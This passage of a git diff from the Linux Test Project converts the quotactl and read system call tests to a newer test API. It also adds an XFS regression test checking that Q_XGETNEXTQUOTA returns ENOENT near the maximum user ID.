+	NULL, NULL, 0, "turn on quota for user"},
 
-char quota_started = 0;
-static char *block_dev, *mountpoint, *quota_file, *quota_loc = NULL;
-int id;
-struct dqblk dq;
+	{QCMD(Q_SETQUOTA, USRQUOTA), &test_id, &set_dq,
+	NULL, NULL, 0, "set disk quota limit for user"},
 
-/* Extern Global Functions */
-/******************************************************************************/
-/*									      */
-/* Function:	cleanup							      */
-/*									      */
-/* Description: Performs all one time clean up for this test on successful    */
-/*		completion,  premature exit or  failure. Closes all temporary */
-/*		files, removes all temporary directories exits the test with  */
-/*		appropriate return code by calling tst_exit() function.	      */
-/*									      */
-/* Input:	None.							      */
-/*									      */
-/* Output:	None.							      */
-/*									      */
-/* Return:	On failure - Exits calling tst_exit(). Non '0' return code.   */
-/*		On success - Exits calling tst_exit(). With '0' return code.  */
-/*									      */
-/******************************************************************************/
-void cleanup(void)
-{
+	{QCMD(Q_GETQUOTA, USRQUOTA), &test_id, &res_dq,
+	&set_dq.dqb_bsoftlimit, &res_dq.dqb_bsoftlimit,
+	sizeof(res_dq.dqb_bsoftlimit), "get disk quota limit for user"},
+# if defined(HAVE_QUOTAV2)
+	{QCMD(Q_SETINFO, USRQUOTA), &test_id, &set_qf,
+	NULL, NULL, 0, "set information about quotafile for user"},
 
-	tst_rmdir();
+	{QCMD(Q_GETINFO, USRQUOTA), &test_id, &res_qf,
+	&set_qf.dqi_bgrace, &res_qf.dqi_bgrace, sizeof(res_qf.dqi_bgrace),
+	"get information about quotafile for user"},
 
-	if (block_dev) {
-		if (quota_started == 1 && QUOTACTL(Q_QUOTAOFF, &dq)) {
-			tst_brkm(TBROK | TERRNO, NULL,
-				 "failed to disable the quota on %s",
-				 block_dev);
-		}
-	}
+	{QCMD(Q_GETFMT, USRQUOTA), &test_id, &fmt_buf,
+	&fmt_id, &fmt_buf, sizeof(fmt_buf),
+	"get quota format for user"},
+# endif
+	{QCMD(Q_SYNC, USRQUOTA), &test_id, &res_dq,
+	NULL, NULL, 0, "update quota usages for user"},
 
-}
+	{QCMD(Q_QUOTAOFF, USRQUOTA), &test_id, USRPATH,
+	NULL, NULL, 0, "turn off quota for user"},
 
-/* Local  Functions */
-/******************************************************************************/
-/*									      */
-/* Function:	setup							      */
-/*									      */
-/* Description: Performs all one time setup for this test. This function is   */
-/*		typically used to capture signals, create temporary dirs      */
-/*		and temporary files that may be used in the course of this    */
-/*		test.							      */
-/*									      */
-/* Input:	None.							      */
-/*									      */
-/* Output:	None.							      */
-/*									      */
-/* Return:	On failure - Exits by calling cleanup().		      */
-/*		On success - returns 0.					      */
-/*									      */
-/******************************************************************************/
-void setup(void)
-{
+	{QCMD(Q_QUOTAON, GRPQUOTA), &fmt_id, GRPPATH,
+	NULL, NULL, 0, "turn on quota for group"},
 
-	tst_require_root();
+	{QCMD(Q_SETQUOTA, GRPQUOTA), &test_id, &set_dq,
+	NULL, NULL, 0, "set disk quota limit for group"},
 
-	/* Capture signals if any */
-	/* Create temporary directories */
+	{QCMD(Q_GETQUOTA, GRPQUOTA), &test_id, &res_dq, &set_dq.dqb_bsoftlimit,
+	&res_dq.dqb_bsoftlimit, sizeof(res_dq.dqb_bsoftlimit),
+	"set disk quota limit for group"},
+# if defined(HAVE_QUOTAV2)
+	{QCMD(Q_SETINFO, GRPQUOTA), &test_id, &set_qf,
+	NULL, NULL, 0, "set information about quotafile for group"},
 
-	if ((quota_loc = malloc(FILENAME_MAX)) == NULL) {
-		tst_brkm(TCONF | TERRNO, NULL,
-			 "couldn't allocate memory for the quota loc buffer");
-	}
+	{QCMD(Q_GETINFO, GRPQUOTA), &test_id, &res_qf, &set_qf.dqi_bgrace,
+	&res_qf.dqi_bgrace, sizeof(res_qf.dqi_bgrace),
+	"get information about quotafile for group"},
 
-	TEST_PAUSE;
-	tst_tmpdir();
+	{QCMD(Q_GETFMT, GRPQUOTA), &test_id, &fmt_buf,
+	&fmt_id, &fmt_buf, sizeof(fmt_buf), "get quota format for group"},
+# endif
+	{QCMD(Q_SYNC, GRPQUOTA), &test_id, &res_dq,
+	NULL, NULL, 0, "update quota usages for group"},
 
-	snprintf(quota_loc, FILENAME_MAX, "%s/%s", mountpoint, quota_file);
-
-	if (QUOTACTL(Q_QUOTAON, quota_loc) != 0) {
-
-		if (errno == ENOENT) {
-			tst_brkm(TCONF, cleanup,
-				 "quota file - %s - doesn't exist (is the name "
-				 "correct?)", quota_loc);
-		} else {
-			/* Provide a terse explanation for why the command
-			 * failed.. */
-			tst_brkm(TCONF | TERRNO, cleanup,
-				 "failed to enable quotas on block device: %s; "
-				 "1. Ensure that the device is mounted with the "
-				 "quota option. 2. Check the filesystem status "
-				 "with `quotacheck %s'", block_dev, block_dev);
-		}
-	} else {
-		quota_started = 1;
-	}
-
-}
-#endif
-
-/*
-*  WARNING!! This test may cause the potential harm to the system, we DO NOT
-*  provide any warranty for the safety!!
-*/
-/*
-* To use this testcase, the quota function must be turned on and the user must
-* be the super user.
-*/
-
-#ifdef BROKEN_QUOTACTL
-int main(void)
-{
-	tst_brkm(TBROK, NULL, "This system doesn't support quota v2");
-}
-#else
-int cmd[] = {
-	Q_GETQUOTA,
-	Q_SETQUOTA,
-/* Only available in quota v2 */
-#if defined(HAVE_QUOTAV2)
-	Q_GETINFO,
-	Q_SETINFO,
-	Q_GETFMT,
-#endif
-	Q_SYNC
+	{QCMD(Q_QUOTAOFF, GRPQUOTA), &test_id, GRPPATH,
+	NULL, NULL, 0, "turn off quota for group"}
 };
 
-int main(int ac, char **av)
+static void setup(void)
 {
-
-	static int block_dev_FLAG = 0, mountpoint_FLAG = 0, quota_file_FLAG = 0;
-	option_t opts[] = {
-		{.option = "b:",.flag = &block_dev_FLAG,.arg = &block_dev},
-		{.option = "m:",.flag = &mountpoint_FLAG,.arg = &mountpoint},
-		{.option = "q:",.flag = &quota_file_FLAG,.arg = &quota_file},
-		{.option = '\0'}
-	};
-
-	int newtid = -1;
+	const char *const cmd[] = {"quotacheck", "-ug", MNTPOINT, NULL};
 	int ret;
-	int i;
-	int lc;
 
-	tst_parse_opts(ac, av, (option_t *) opts, NULL);
 
-	setup();
-
-	for (lc = 0; TEST_LOOPING(lc); ++lc) {
-
-		tst_count = 0;
-
-		for (testno = 0; testno < TST_TOTAL; ++testno) {
-
-			for (i = 0; i <= sizeof(cmd) / sizeof(cmd[0]); i++) {
-
-				ret = QUOTACTL(cmd[i], &dq);
-				if (ret != 0) {
-					tst_resm(TFAIL | TERRNO,
-						 "cmd=0x%x failed", cmd[i]);
-				} else {
-					tst_resm(TPASS,
-						 "quotactl call succeeded");
-				}
-
-			}
-
-			TEST(ltp_syscall(__NR_set_tid_address, &newtid));
-
-			if (TEST_RETURN == getpid()) {
-				cleanup();
-			} else {
-				cleanup();
-				tst_exit();
-			}
-
-		}
-
+	ret = tst_run_cmd(cmd, NULL, NULL, 1);
+	switch (ret) {
+	case 255:
+		tst_brk(TCONF, "quotacheck binary not installed");
+	default:
+		tst_brk(TBROK, "quotacheck exited with %i", ret);
+	case 0:
+	break;
 	}
 
-	cleanup();
+	test_id = geteuid();
 
-	tst_exit();
+	if (access(USRPATH, F_OK) == -1)
+		tst_brk(TFAIL | TERRNO, "user quotafile didn't exist");
 
+	if (access(GRPPATH, F_OK) == -1)
+		tst_brk(TFAIL | TERRNO, "group quotafile didn't exist");
 }
+
+static void verify_quota(unsigned int n)
+{
+	struct tcase *tc = &tcases[n];
+
+	res_dq.dqb_bsoftlimit = 0;
+	res_qf.dqi_igrace = 0;
+	fmt_buf = 0;
+
+	TEST(quotactl(tc->cmd, tst_device->dev, *tc->id, tc->addr));
+	if (TEST_RETURN == -1) {
+		tst_res(TFAIL | TTERRNO, "quotactl failed to %s", tc->des);
+		return;
+	}
+
+	if (memcmp(tc->res_data, tc->set_data, tc->sz)) {
+		tst_res(TFAIL, "quotactl failed to %s", tc->des);
+		tst_res_hexd(TINFO, tc->res_data, tc->sz, "retval:   ");
+		tst_res_hexd(TINFO, tc->set_data, tc->sz, "expected: ");
+		return;
+	}
+
+	tst_res(TPASS, "quotactl succeeded to %s", tc->des);
+}
+
+static struct tst_test test = {
+	.tid = "quotactl01",
+	.needs_tmpdir = 1,
+	.needs_root = 1,
+	.test = verify_quota,
+	.tcnt = ARRAY_SIZE(tcases),
+	.mount_device = 1,
+	.dev_fs_type = "ext4",
+	.mntpoint = MNTPOINT,
+	.mnt_data = "usrquota,grpquota",
+	.setup = setup,
+};
+
+#else
+	TST_TEST_TCONF("This system didn't support quota");
 #endif
diff --git a/testcases/kernel/syscalls/quotactl/quotactl02.c b/testcases/kernel/syscalls/quotactl/quotactl02.c
index 486ea93..ec5c7a0 100644
--- a/testcases/kernel/syscalls/quotactl/quotactl02.c
+++ b/testcases/kernel/syscalls/quotactl/quotactl02.c
@@ -16,217 +16,173 @@
  */
 
 /*
+ * Test Name: quotactl02
+ *
  * Description:
- *	This tests basic flags of quotactl() syscall:
- *	1) Q_XQUOTAOFF - Turn off quotas for an XFS file system.
- *	2) Q_XQUOTAON - Turn on quotas for an XFS file system.
- *	3) Q_XGETQUOTA - Get disk quota limits and current usage for user id.
- *	4) Q_XSETQLIM - Set disk quota limits for user id.
- *	5) Q_XGETQSTAT - Get XFS file system specific quota information.
+ * This testcase checks basic flags of quotactl(2) for an XFS file system:
+ * 1) quotactl(2) succeeds to turn off xfs quota and get xfs quota off status.
+ * 2) quotactl(2) succeeds to turn on xfs quota and get xfs quota on status.
+ * 3) quotactl(2) succeeds to set and use Q_XGETQUOTA to get xfs disk quota
+ *    limits.
+ * 4) quotactl(2) succeeds to set and use Q_XGETNEXTQUOTA to get xfs disk
+ *    quota limits.
  */
-
 #define _GNU_SOURCE
-#include <fcntl.h>
-#include <unistd.h>
-#include <sys/syscall.h>
-#include <stdio.h>
 #include <errno.h>
-#include <sys/mount.h>
-#include <linux/fs.h>
-#include <sys/types.h>
-
+#include <unistd.h>
+#include <stdio.h>
+#include <sys/quota.h>
 #include "config.h"
+
+#if defined(HAVE_QUOTAV2) || defined(HAVE_QUOTAV1)
+# include <sys/quota.h>
+#endif
+
 #if defined(HAVE_XFS_QUOTA)
 # include <xfs/xqm.h>
 #endif
-#include "test.h"
-#include "linux_syscall_numbers.h"
-#include "safe_macros.h"
 
-#define USRQCMD(cmd)	((cmd) << 8)
-#define RTBLIMIT	2000
+#include "tst_test.h"
+#include "lapi/quotactl.h"
 
-char *TCID = "quotactl02";
-int TST_TOTAL = 5;
+#if defined(HAVE_XFS_QUOTA) && (defined(HAVE_QUOTAV2) || defined(HAVE_QUOTAV1))
+static void check_qoff(int, char *);
+static void check_qon(int, char *);
+static void check_qlim(int, char *);
 
-#if defined(HAVE_XFS_QUOTA)
-static void check_qoff(void);
-static void check_qon(void);
-static void check_getq(void);
-static void setup_setqlim(void), check_setqlim(void);
-static void check_getqstat(void);
-
-static void setup(void);
-static void cleanup(void);
-
-static int i;
-static int uid;
-static const char *block_dev;
-static int mount_flag;
-static struct fs_disk_quota dquota;
-static struct fs_quota_stat qstat;
-static unsigned int qflag = XFS_QUOTA_UDQ_ENFD;
+static uint32_t test_id;
+static struct fs_disk_quota set_dquota = {
+	.d_rtb_softlimit = 1000,
+	.d_fieldmask = FS_DQ_RTBSOFT
+};
+static uint32_t qflag = XFS_QUOTA_UDQ_ENFD;
 static const char mntpoint[] = "mnt_point";
 
-static struct test_case_t {
+static struct t_case {
 	int cmd;
 	void *addr;
-	void (*func_test) ();
-	void (*func_setup) ();
-} TC[] = {
-	{Q_XQUOTAOFF, &qflag, check_qoff, NULL},
-	{Q_XQUOTAON, &qflag, check_qon, NULL},
-	{Q_XGETQUOTA, &dquota, check_getq, NULL},
-	{Q_XSETQLIM, &dquota, check_setqlim, setup_setqlim},
-	{Q_XGETQSTAT, &qstat, check_getqstat, NULL},
+	void (*func_check)();
+	int check_subcmd;
+	char *des;
+} tcases[] = {
+	{QCMD(Q_XQUOTAOFF, USRQUOTA), &qflag, check_qoff, Q_XGETQSTAT,
+	"turn off xfs quota and get xfs quota off status"},
+	{QCMD(Q_XQUOTAON, USRQUOTA), &qflag, check_qon, Q_XGETQSTAT,
+	"turn on xfs quota and get xfs quota on status"},
+	{QCMD(Q_XSETQLIM, USRQUOTA), &set_dquota, check_qlim, Q_XGETQUOTA,
+	"Q_XGETQUOTA"},
+	{QCMD(Q_XSETQLIM, USRQUOTA), &set_dquota, check_qlim, Q_XGETNEXTQUOTA,
+	"Q_XGETNEXTQUOTA"},
 };
 
-int main(int argc, char *argv[])
+static void check_qoff(int subcmd, char *desp)
 {
-	int lc;
+	int res;
+	struct fs_quota_stat res_qstat;
 
-	tst_parse_opts(argc, argv, NULL, NULL);
+	res = quotactl(QCMD(subcmd, USRQUOTA), tst_device->dev,
+	               test_id, (void*) &res_qstat);
+	if (res == -1) {
+		tst_res(TFAIL | TERRNO,
+			"quotactl() failed to get xfs quota off status");
+		return;
+	}
 
-	setup();
+	if (res_qstat.qs_flags & XFS_QUOTA_UDQ_ENFD) {
+		tst_res(TFAIL, "xfs quota enforcement was on unexpectedly");
+		return;
+	}
 
-	for (lc = 0; TEST_LOOPING(lc); ++lc) {
+	tst_res(TPASS, "quoactl() succeeded to %s", desp);
+}
 
-		tst_count = 0;
+static void check_qon(int subcmd, char *desp)
+{
+	int res;
+	struct fs_quota_stat res_qstat;
 
-		for (i = 0; i < TST_TOTAL; i++) {
+	res = quotactl(QCMD(subcmd, USRQUOTA), tst_device->dev,
+	               test_id, (void*) &res_qstat);
+	if (res == -1) {
+		tst_res(TFAIL | TERRNO,
+			"quotactl() failed to get xfs quota on status");
+		return;
+	}
 
-			if (TC[i].func_setup != NULL)
-				(*TC[i].func_setup) ();
+	if (!(res_qstat.qs_flags & XFS_QUOTA_UDQ_ENFD)) {
+		tst_res(TFAIL, "xfs quota enforcement was off unexpectedly");
+		return;
+	}
 
-			TEST(ltp_syscall(__NR_quotactl,
-					 USRQCMD(TC[i].cmd), block_dev,
-					 uid, TC[i].addr));
+	tst_res(TPASS, "quoactl() succeeded to %s", desp);
+}
 
-			if (TEST_RETURN != 0)
-				tst_resm(TFAIL | TERRNO,
-					 "cmd=0x%x failed", TC[i].cmd);
+static void check_qlim(int subcmd, char *desp)
+{
+	int res;
+	static struct fs_disk_quota res_dquota;
 
-			(*TC[i].func_test) ();
+	res_dquota.d_rtb_softlimit = 0;
+
+	res = quotactl(QCMD(subcmd, USRQUOTA), tst_device->dev,
+	               test_id, (void*) &res_dquota);
+	if (res == -1) {
+		if (errno == EINVAL) {
+			tst_brk(TCONF | TERRNO,
+				"%s wasn't supported in quotactl()", desp);
 		}
-	}
-	cleanup();
-	tst_exit();
-}
-
-static void check_qoff(void)
-{
-	int ret;
-
-	ret = ltp_syscall(__NR_quotactl, USRQCMD(Q_XGETQSTAT),
-			  block_dev, uid, &qstat);
-	if (ret != 0)
-		tst_brkm(TBROK | TERRNO, cleanup, "fail to get quota stat");
-
-	if (qstat.qs_flags & XFS_QUOTA_UDQ_ENFD) {
-		tst_resm(TFAIL, "enforcement is not off");
+		tst_res(TFAIL | TERRNO,
+			"quotactl() failed to get xfs disk quota limits");
 		return;
 	}
 
-	tst_resm(TPASS, "enforcement is off");
-}
-
-static void check_qon(void)
-{
-	int ret;
-	ret = ltp_syscall(__NR_quotactl, USRQCMD(Q_XGETQSTAT),
-			  block_dev, uid, &qstat);
-	if (ret != 0)
-		tst_brkm(TBROK | TERRNO, cleanup, "fail to get quota stat");
-
-	if (!(qstat.qs_flags & XFS_QUOTA_UDQ_ENFD)) {
-		tst_resm(TFAIL, "enforcement is off");
+	if (res_dquota.d_id != test_id) {
+		tst_res(TFAIL, "quotactl() got unexpected user id %u,"
+			" expected %u", res_dquota.d_id, test_id);
 		return;
 	}
 
-	tst_resm(TPASS, "enforcement is on");
-}
-
-static void check_getq(void)
-{
-	if (!(dquota.d_flags & XFS_USER_QUOTA)) {
-		tst_resm(TFAIL, "get incorrect quota type");
+	if (res_dquota.d_rtb_hardlimit != set_dquota.d_rtb_hardlimit) {
+		tst_res(TFAIL, "quotactl() got unexpected rtb soft limit %llu,"
+			" expected %llu", res_dquota.d_rtb_hardlimit,
+			set_dquota.d_rtb_hardlimit);
 		return;
 	}
 
-	tst_resm(TPASS, "get the right quota type");
-}
-
-static void setup_setqlim(void)
-{
-	dquota.d_rtb_hardlimit = RTBLIMIT;
-	dquota.d_fieldmask = FS_DQ_LIMIT_MASK;
-}
-
-static void check_setqlim(void)
-{
-	int ret;
-	ret = ltp_syscall(__NR_quotactl, USRQCMD(Q_XGETQUOTA),
-			  block_dev, uid, &dquota);
-	if (ret != 0)
-		tst_brkm(TFAIL | TERRNO, NULL,
-			 "fail to get quota information");
-
-	if (dquota.d_rtb_hardlimit != RTBLIMIT) {
-		tst_resm(TFAIL, "limit on RTB, except %lu get %lu",
-			 (uint64_t)RTBLIMIT,
-			 (uint64_t)dquota.d_rtb_hardlimit);
-		return;
-	}
-
-	tst_resm(TPASS, "quotactl works fine with Q_XSETQLIM");
-}
-
-static void check_getqstat(void)
-{
-	if (qstat.qs_version != FS_QSTAT_VERSION) {
-		tst_resm(TFAIL, "get incorrect qstat version");
-		return;
-	}
-
-	tst_resm(TPASS, "get correct qstat version");
+	tst_res(TPASS, "quoactl() succeeded to set and use %s to get xfs disk "
+		"quota limits", desp);
 }
 
 static void setup(void)
 {
-
-	tst_require_root();
-
-	TEST_PAUSE;
-
-	tst_tmpdir();
-
-	SAFE_MKDIR(cleanup, mntpoint, 0755);
-
-	block_dev = tst_acquire_device(cleanup);
-
-	if (!block_dev)
-		tst_brkm(TCONF, cleanup, "Failed to obtain block device");
-
-	tst_mkfs(cleanup, block_dev, "xfs", NULL, NULL);
-
-	if (mount(block_dev, mntpoint, "xfs", 0, "uquota") < 0)
-		tst_brkm(TFAIL | TERRNO, NULL, "mount(2) fail");
-	mount_flag = 1;
+	test_id = geteuid();
 }
 
-static void cleanup(void)
+static void verify_quota(unsigned int n)
 {
-	if (mount_flag && tst_umount(mntpoint) < 0)
-		tst_resm(TWARN | TERRNO, "umount(2) failed");
+	struct t_case *tc = &tcases[n];
 
-	if (block_dev)
-		tst_release_device(block_dev);
+	TEST(quotactl(tc->cmd, tst_device->dev, test_id, tc->addr));
+	if (TEST_RETURN == -1) {
+		tst_res(TFAIL | TTERRNO, "quotactl() failed to %s", tc->des);
+		return;
+	}
 
-	tst_rmdir();
+	tc->func_check(tc->check_subcmd, tc->des);
 }
+
+static struct tst_test test = {
+	.tid = "quotactl02",
+	.needs_tmpdir = 1,
+	.needs_root = 1,
+	.test = verify_quota,
+	.tcnt = ARRAY_SIZE(tcases),
+	.mount_device = 1,
+	.dev_fs_type = "xfs",
+	.mntpoint = mntpoint,
+	.mnt_data = "usrquota",
+	.setup = setup,
+};
 #else
-int main(void)
-{
-	tst_brkm(TCONF, NULL, "This system doesn't support xfs quota");
-}
+	TST_TEST_TCONF("This system didn't support quota or xfs quota");
 #endif
diff --git a/testcases/kernel/syscalls/quotactl/quotactl03.c b/testcases/kernel/syscalls/quotactl/quotactl03.c
new file mode 100644
index 0000000..8c2cde5
--- /dev/null
+++ b/testcases/kernel/syscalls/quotactl/quotactl03.c
@@ -0,0 +1,101 @@
+/*
+ * Copyright (c) 2017 Fujitsu Ltd.
+ * Author: Xiao Yang <yangx.jy@cn.fujitsu.com>
+ *
+ * This program is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 2 of the License, or
+ * (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program, if not, see <http://www.gnu.org/licenses/>.
+ */
+
+/*
+ * Test Name: quotactl03
+ *
+ * Description:
+ * quotactl(2) with XGETNEXTQUOTA looks for the next active quota for an user
+ * equal or higher to a given ID, in this test the ID is specified to a value
+ * close to UINT_MAX(max value of unsigned int). When reaching the upper limit
+ * and finding no active quota, it should return -1 and set errno to ENOENT.
+ * Actually, quotactl(2) overflows and and return 0 as the "next" active id.
+ *
+ * This kernel bug of xfs has been fixed in:
+ *
+ * commit 657bdfb7f5e68ca5e2ed009ab473c429b0d6af85
+ * Author: Eric Sandeen <sandeen@redhat.com>
+ * Date:   Tue Jan 17 11:43:38 2017 -0800
+ *
+ *     xfs: don't wrap ID in xfs_dq_get_next_id
+ */
+
+#define _GNU_SOURCE
+#include <errno.h>
+#include <unistd.h>
+#include <stdio.h>
+#include <sys/quota.h>
+#include "config.h"
+
+#if defined(HAVE_QUOTAV2) || defined(HAVE_QUOTAV1)
+# include <sys/quota.h>
+#endif
+
+#if defined(HAVE_XFS_QUOTA)
+# include <xfs/xqm.h>
+#endif
+
+#include "tst_test.h"
+#include "lapi/quotactl.h"
+
+#if defined(HAVE_XFS_QUOTA) && (defined(HAVE_QUOTAV2) || defined(HAVE_QUOTAV1))
+
+static const char mntpoint[] = "mnt_point";
+static uint32_t test_id = 0xfffffffc;
+
+static void verify_quota(void)
+{
+	struct fs_disk_quota res_dquota;
+
+	res_dquota.d_id = 1;
+
+	TEST(quotactl(QCMD(Q_XGETNEXTQUOTA, USRQUOTA), tst_device->dev,
+		test_id, (void *)&res_dquota));
+	if (TEST_RETURN != -1) {
+		tst_res(TFAIL, "quotactl() found the next active ID:"
+			" %u unexpectedly", res_dquota.d_id);
+		return;
+	}
+
+	if (TEST_ERRNO == EINVAL) {
+		tst_brk(TCONF | TTERRNO,
+			"Q_XGETNEXTQUOTA wasn't supported in quotactl()");
+	}
+
+	if (TEST_ERRNO != ENOENT) {
+		tst_res(TFAIL | TTERRNO, "quotaclt() failed unexpectedly with"
+			" %s expected ENOENT", tst_strerrno(TEST_ERRNO));
+	} else {
+		tst_res(TPASS, "quotaclt() failed with ENOENT as expected");
+	}
+}
+
+static struct tst_test test = {
+	.tid = "quotactl03",
+	.needs_tmpdir = 1,
+	.needs_root = 1,
+	.test_all = verify_quota,
+	.mount_device = 1,
+	.dev_fs_type = "xfs",
+	.mntpoint = mntpoint,
+	.mnt_data = "usrquota",
+};
+
+#else
+	TST_TEST_TCONF("This system didn't support quota or xfs quota");
+#endif
diff --git a/testcases/kernel/syscalls/read/read01.c b/testcases/kernel/syscalls/read/read01.c
index 839819a..d2ccd0a 100644
--- a/testcases/kernel/syscalls/read/read01.c
+++ b/testcases/kernel/syscalls/read/read01.c
@@ -1,5 +1,6 @@
 /*
  * Copyright (c) 2000 Silicon Graphics, Inc.  All Rights Reserved.
+ * Copyright (c) 2017 Fujitsu Ltd.
  *
  * This program is free software; you can redistribute it and/or modify it
  * under the terms of version 2 of the GNU General Public License as
@@ -28,216 +29,45 @@
  * For further information regarding this notice, see:
  *
  * http://oss.sgi.com/projects/GenInfo/NoticeExplan/
- *
  */
-/* $Id: read01.c,v 1.8 2009/11/02 13:57:17 subrata_modak Exp $ */
-/**********************************************************
- *
- *    OS Test - Silicon Graphics, Inc.
- *
- *    TEST IDENTIFIER	: read01
- *
- *    EXECUTED BY	: anyone
- *
- *    TEST TITLE	: Basic test for read(2)
- *
- *    PARENT DOCUMENT	: usctpl01
- *
- *    TEST CASE TOTAL	: 1
- *
- *    WALL CLOCK TIME	: 1
- *
- *    CPU TYPES		: ALL
- *
- *    AUTHOR		: William Roske
- *
- *    CO-PILOT		: Dave Fenner
- *
- *    DATE STARTED	: 03/30/92
- *
- *    INITIAL RELEASE	: UNICOS 7.0
- *
- *    TEST CASES
- *
- * 	1.) read(2) returns...(See Description)
- *
- *    INPUT SPECIFICATIONS
- * 	The standard options for system call tests are accepted.
- *	(See the parse_opts(3) man page).
- *
- *    OUTPUT SPECIFICATIONS
- *$
- *    DURATION
- * 	Terminates - with frequency and infinite modes.
- *
- *    SIGNALS
- * 	Uses SIGUSR1 to pause before test if option set.
- * 	(See the parse_opts(3) man page).
- *
- *    RESOURCES
- * 	None
- *
- *    ENVIRONMENTAL NEEDS
- *      No run-time environmental needs.
- *
- *    SPECIAL PROCEDURAL REQUIREMENTS
- * 	None
- *
- *    INTERCASE DEPENDENCIES
- * 	None
- *
- *    DETAILED DESCRIPTION
- *	This is a Phase I test for the read(2) system call.  It is intended
- *	to provide a limited exposure of the system call, for now.  It
- *	should/will be extended when full functional tests are written for
- *	read(2).
- *
- * 	Setup:
- * 	  Setup signal handling.
- *	  Pause for SIGUSR1 if option specified.
- *
- * 	Test:
- *	 Loop if the proper options are given.
- * 	  Execute system call
- *	  Check return code, if system call failed (return=-1)
- *		Log the errno and Issue a FAIL message.
- *	  Otherwise, Issue a PASS message.
- *
- * 	Cleanup:
- * 	  Print errno log and/or timing stats if options given
- *
- *
- *#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#**/
 
-#include <sys/types.h>
-#include <sys/fcntl.h>
-#include <sys/param.h>
 #include <errno.h>
-#include <signal.h>
-#include <string.h>
-#include "test.h"
+#include "tst_test.h"
 
-/*
- * Set READ_BLOCK_SIZE to the block size of the system.
- */
-#ifdef __linux__
-#define READ_BLOCK_SIZE DEV_BSIZE
-#else
-#define READ_BLOCK_SIZE BSIZE
-#endif
+#define SIZE 512
 
-void setup();
-void cleanup();
+static int fd;
+static char buf[SIZE];
 
-char *TCID = "read01";
-int TST_TOTAL = 1;
-
-char fname[255];
-int fd, i;
-int offset = 0;
-char *s;
-
-int main(int ac, char **av)
+static void verify_read(void)
 {
-	int lc;
+	SAFE_LSEEK(fd, 0, SEEK_SET);
 
-    /***************************************************************
-     * parse standard options
-     ***************************************************************/
-	tst_parse_opts(ac, av, NULL, NULL);
+	TEST(read(fd, buf, SIZE));
 
-    /***************************************************************
-     * perform global setup for test
-     ***************************************************************/
-	setup();
-
-    /***************************************************************
-     * check looping state if -c option given
-     ***************************************************************/
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-
-		tst_count = 0;
-
-		if (write(fd, s, READ_BLOCK_SIZE) == -1) {
-			tst_brkm(TBROK, cleanup,
-				 "write(%s, %s, %d) Failed, errno=%d : %s",
-				 fname, s, READ_BLOCK_SIZE, errno,
-				 strerror(errno));
-		}
-		offset += READ_BLOCK_SIZE;
-		if (lseek(fd, (long)(offset - READ_BLOCK_SIZE), 0) == -1) {
-			tst_brkm(TBROK, cleanup,
-				 "lseek(%s, %ld, 0) Failed, errno=%d : %s",
-				 fname, (long)(offset - READ_BLOCK_SIZE), errno,
-				 strerror(errno));
-		}
-		/*
-		 * Call read(2)
-		 */
-		TEST(read(fd, s, READ_BLOCK_SIZE));
-
-		/* check return code */
-		if (TEST_RETURN == -1) {
-			tst_resm(TFAIL,
-				 "read(fd, s, READ_BLOCK_SIZE) Failed, errno=%d : %s",
-				 TEST_ERRNO, strerror(TEST_ERRNO));
-		} else {
-			tst_resm(TPASS, "read(pfds) returned %ld",
-				 TEST_RETURN);
-		}
-
-	}
-
-	cleanup();
-	tst_exit();
+	if (TEST_RETURN == -1)
+		tst_res(TFAIL | TTERRNO, "read(2) failed");
+	else
+		tst_res(TPASS, "read(2) returned %ld", TEST_RETURN);
 }
 
-/***************************************************************
- * setup() - performs all ONE TIME setup for this test.
- ***************************************************************/
-void setup(void)
+static void setup(void)
 {
-
-	tst_sig(NOFORK, DEF_HANDLER, cleanup);
-
-	TEST_PAUSE;
-
-	tst_tmpdir();
-
-	if ((s = malloc(READ_BLOCK_SIZE)) == NULL) {
-		tst_brkm(TBROK, cleanup,
-			 "malloc(%d) Failed, errno=%d : %s",
-			 READ_BLOCK_SIZE, errno, strerror(errno));
-	}
-	(void)memset(s, '*', READ_BLOCK_SIZE);
-	for (i = 0; i < READ_BLOCK_SIZE; i++) {
-		if (s[i] != '*') {
-			tst_brkm(TBROK, cleanup,
-				 "File Data pattern not setup correctly : expected * at s[%d] : found %c",
-				 i, s[i]);
-		}
-	}
-	sprintf(fname, "./tfile_%d", getpid());
-	if ((fd = open(fname, O_RDWR | O_CREAT, 0700)) == -1) {
-		tst_brkm(TBROK, cleanup,
-			 "open(%s, O_RDWR|O_CREAT,0700) Failed, errno=%d : %s",
-			 fname, errno, strerror(errno));
-	}
-
+	memset(buf, '*', SIZE);
+	fd = SAFE_OPEN("testfile", O_RDWR | O_CREAT, 0700);
+	SAFE_WRITE(1, fd, buf, SIZE);
 }
 
-/***************************************************************
- * cleanup() - performs all ONE TIME cleanup for this test at
- *		completion or premature exit.
- ***************************************************************/
-void cleanup(void)
+static void cleanup(void)
 {
-
-	if (close(fd) == -1) {
-		tst_resm(TWARN, "close(%s) Failed, errno=%d : %s",
-			 fname, errno, strerror(errno));
-	}
-
-	tst_rmdir();
-
+	if (fd > 0)
+		SAFE_CLOSE(fd);
 }
+
+static struct tst_test test = {
+	.tid = "read01",
+	.test_all = verify_read,
+	.setup = setup,
+	.cleanup = cleanup,
+	.needs_tmpdir = 1,
+};
diff --git a/testcases/kernel/syscalls/read/read02.c b/testcases/kernel/syscalls/read/read02.c
index 1e0f83a..587b2ae 100644
--- a/testcases/kernel/syscalls/read/read02.c
+++ b/testcases/kernel/syscalls/read/read02.c
@@ -54,6 +54,7 @@
 static int badfd = -1;
 static int fd2, fd3, fd4 = -1;
 static char buf[BUFSIZ];
+static void *bufaddr = buf;
 static void *outside_buf = (void *)-1;
 static void *addr4;
 static void *addr5;
@@ -66,8 +67,8 @@
 	size_t count;
 	int exp_error;
 } TC[] = {
-	{&badfd, (void **)&buf, 1, EBADF},
-	{&fd2, (void **)&buf, 1, EISDIR},
+	{&badfd, &bufaddr, 1, EBADF},
+	{&fd2, &bufaddr, 1, EISDIR},
